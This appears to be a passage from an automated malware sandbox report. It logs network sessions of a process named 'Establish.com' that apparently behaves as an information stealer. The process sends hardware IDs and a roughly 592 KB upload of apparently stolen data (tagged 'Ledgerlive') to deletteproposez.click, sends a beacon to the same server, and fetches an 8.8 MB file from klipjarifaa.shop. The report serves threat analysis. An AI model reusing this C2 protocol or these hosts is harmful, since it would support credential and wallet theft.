2025-01-05 17:52:44 UTC	5229	OUT	Data Raw: 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2025-01-05 17:52:44 UTC	1137	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d7boqjiokfqp513mm07711du3q; expires=Thu, 01 May 2025 11:39:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1dBQw6JYJjcQGRKDtpsdzXr222mXKZpzlwqFypqx4v3PvKno6BkCjSKFK1Bhya0LEg46ntQ74oOtu6lxzhSVBvMSMRpxv08A%2F8HUCjrZzgFAEna8HSkbwzw%2Btb2PbI%2BhRm10y%2Fkb9Vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552e5199ede9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&min_rtt=1679&rtt_var=631&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2856&recv_bytes=21525&delivery_rate=1731909&cwnd=209&unsent_bytes=0&cid=795f38904c6217f0&ts=649&x=0"
2025-01-05 17:52:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:52:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49858	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:45 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=987M6TIE6NAL1LWH8U7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 988 Host: deletteproposez.click
2025-01-05 17:52:45 UTC	988	OUT	Data Raw: 2d 2d 39 38 37 4d 36 54 49 45 36 4e 41 4c 31 4c 57 48 38 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 0d 0a 2d 2d 39 38 37 4d 36 54 49 45 36 4e 41 4c 31 4c 57 48 38 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 38 37 4d 36 54 49 45 36 4e 41 4c 31 4c 57 48 38 55 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 Data Ascii: --987M6TIE6NAL1LWH8U7Content-Disposition: form-data; name="hwid"E1CA5F188F791B5C85E74BC4E94691B5--987M6TIE6NAL1LWH8U7Content-Disposition: form-data; name="pid"1--987M6TIE6NAL1LWH8U7Content-Disposition: form-data; name="lid"c2CoW0--Le
2025-01-05 17:52:45 UTC	1130	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r2a8l9svpgbjgkipso0mjd7fc6; expires=Thu, 01 May 2025 11:39:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i1IHi4xKfRU1YD0BL5mA2Gjr6Etd1W1qYib0MvuCWMpQWEyuBRSjDPls3dRVQu5FKm4crB7KBKR8GfY8LEqI31x8euLer%2B0qQLMtmzhYWUetLF3n5oKUn5ZB6eHmiZynLCqdtd%2BnsuY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552ecca8641de-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1689&rtt_var=650&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1910&delivery_rate=1660978&cwnd=225&unsent_bytes=0&cid=516a3a68738f9790&ts=479&x=0"
2025-01-05 17:52:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:52:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49865	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:46 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z5KLEYD1AK6O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 592148 Host: deletteproposez.click
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 2d 2d 5a 35 4b 4c 45 59 44 31 41 4b 36 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 0d 0a 2d 2d 5a 35 4b 4c 45 59 44 31 41 4b 36 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 35 4b 4c 45 59 44 31 41 4b 36 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 0d 0a 2d 2d 5a 35 4b 4c 45 59 44 31 41 Data Ascii: --Z5KLEYD1AK6OContent-Disposition: form-data; name="hwid"E1CA5F188F791B5C85E74BC4E94691B5--Z5KLEYD1AK6OContent-Disposition: form-data; name="pid"1--Z5KLEYD1AK6OContent-Disposition: form-data; name="lid"c2CoW0--Ledgerlive--Z5KLEYD1A
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 3b 28 21 fb e3 e0 ad 4d ca 85 4e 3b 88 b9 4f ae 5f 18 38 3e c8 74 f6 c1 81 96 f9 4d 6f 0b 74 bc e4 Data Ascii: ,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H;(!MN;O_8>tMot
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 89 21 00 f0 18 e1 66 90 d5 50 5b dd d4 58 8e 0e 60 3e a8 19 a9 b5 e6 60 65 69 b8 11 29 b0 ea a1 65 Data Ascii: _enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA!fP[X`>`ei)e
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e 37 f2 9b 5f cf 67 f6 64 c1 7c 6b b0 59 bd f7 1f ae c1 57 6e 7c 8f 00 4d 15 f4 14 de 9e 7c 6b 94 7a 32 5b a4 Data Ascii: JzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY7_gd\|kYWn\|M\|kz2[
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 09 98 10 1c 58 ad a3 29 fa 40 0b 0e 8d c7 f4 83 b7 ad 20 95 58 87 4b 40 20 38 67 d2 b8 7e 8e c0 26 dc 15 0d Data Ascii: K^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkTX)@ XK@ 8g~&
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 b2 7e 95 52 ba 5d 70 62 1f 0a 98 59 fd fd 8e 9e 6b 06 1a 03 4a 01 9c bb a2 56 fb 02 24 fa c7 3d 33 74 e2 09 Data Ascii: aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV~R]pbYkJV$=3t
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e 8d 70 51 0b 4f 97 25 7e f6 bd 0d 97 a8 34 ff 00 a1 12 e6 9a 7f 30 ef a6 e8 dc 13 67 1c c3 68 fd ec b1 35 6b Data Ascii: qV3+qK8_5V,{0<b 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >pQO%~40gh5k
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 72 12 a0 88 19 f2 d5 07 cc c9 97 c8 4c 65 28 c7 e0 f7 fd 81 b3 a6 a8 3a d5 ea d5 9b 8d 69 0e 77 f0 59 b1 d3 Data Ascii: 2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!SrLe(:iwY
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b 72 1b 17 2d c7 bf b2 49 60 3d 92 b8 de 7b c3 c3 05 f3 d7 15 ee e7 3d 52 30 05 8e ae 02 a8 7c f9 b0 d0 78 38 Data Ascii: {kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[r-I`={=R0\|x8
2025-01-05 17:52:46 UTC	15331	OUT	Data Raw: f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 62 d2 ee 68 68 4d 61 f5 ad 11 c2 03 81 60 63 20 54 97 78 6a 58 63 d5 9a 55 25 27 1d 84 86 92 c8 8d 31 08 2e Data Ascii: ~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 ~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~bhhMa`c TxjXcU%'1.
2025-01-05 17:52:48 UTC	1139	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qafjqujqfjq94ejic7673nabn5; expires=Thu, 01 May 2025 11:39:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IGBMdxUZ8nuvzEmy881QvNZkvHwrbBiKkmqWiewBP1XVCRTPRwyFlGNqXsH19rgC7FRqjBN6ILmPMCqHS7plS%2FDV6NgV1NrDUhg4581%2B9lj02MqBkEREPKPs%2BdhG6UI6zqw03qLghaQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552f45bdf7289-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2030&min_rtt=2030&rtt_var=761&sent=211&recv=612&lost=0&retrans=0&sent_bytes=2856&recv_bytes=594760&delivery_rate=1437715&cwnd=238&unsent_bytes=0&cid=950be0174216038d&ts=1653&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49879	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:48 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: deletteproposez.click
2025-01-05 17:52:48 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 26 6a 3d 26 68 77 69 64 3d 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 Data Ascii: act=get_message&ver=4.0&lid=c2CoW0--Ledgerlive&j=&hwid=E1CA5F188F791B5C85E74BC4E94691B5
2025-01-05 17:52:49 UTC	1136	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t2t90fk47kqggblomfso5kmtoj; expires=Thu, 01 May 2025 11:39:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YUSUuPRVs%2FrHA3PAMK4HGVaP09Qc9CxI2yofiN33LBRSi%2F82SpjuAfwRt5FV0F5%2B98GPvcN7tJ8lSd9tWZIGT4kkSbCsO4KqV5%2BueX0MAfK34l79N5Unl1t%2F1m5h9OQk%2FQL2SrEZ4XI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd55301f94c42a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2176&min_rtt=2171&rtt_var=824&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=992&delivery_rate=1319475&cwnd=32&unsent_bytes=0&cid=36693f9e509716a3&ts=546&x=0"
2025-01-05 17:52:49 UTC	138	IN	Data Raw: 38 34 0d 0a 49 4b 34 54 78 61 4d 57 52 71 50 53 37 62 56 65 2b 5a 70 78 6c 48 42 46 77 67 69 4a 5a 6b 4a 6c 69 52 48 33 42 63 6f 68 4e 2f 74 37 31 54 47 77 67 53 78 6b 79 36 61 5a 78 53 33 44 78 6c 37 49 58 79 36 75 59 66 6b 4d 49 78 66 67 64 35 5a 6b 35 46 4a 66 6c 46 44 79 50 4b 7a 4e 59 68 6e 41 76 70 33 71 5a 73 47 69 53 62 6f 45 50 62 59 71 70 55 51 6b 45 61 73 72 78 79 6e 6f 52 42 58 42 45 4e 4e 4f 0d 0a Data Ascii: 84IK4TxaMWRqPS7bVe+ZpxlHBFwgiJZkJliRH3BcohN/t71TGwgSxky6aZxS3Dxl7IXy6uYfkMIxfgd5Zk5FJflFDyPKzNYhnAvp3qZsGiSboEPbYqpUQkEasrxynoRBXBENNO
2025-01-05 17:52:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49885	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:49 UTC	207	OUT	GET /int_clp_8888.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipjarifaa.shop
2025-01-05 17:52:50 UTC	901	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:50 GMT Content-Type: text/plain Content-Length: 8856972 Connection: close Accept-Ranges: bytes ETag: "c89c55fe25372bfbf8b9264a647c144b" Last-Modified: Sat, 28 Dec 2024 20:45:06 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6pWAJjtqI6hlhE9aBjUSqL6%2BUc43dq7d1cwjMobvxcc1jQiDS3pZ%2BbzNnXf0ClNiqAgIFtq0kYtzfTJbY3VhLibCkQ1bdxlOA9mYVRQhWa5SdejkXasA%2BK7DujNrVb35r4uB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd553087883422e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1669&rtt_var=669&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2865&recv_bytes=821&delivery_rate=1584373&cwnd=252&unsent_bytes=0&cid=313825cf7273ec25&ts=321&x=0"
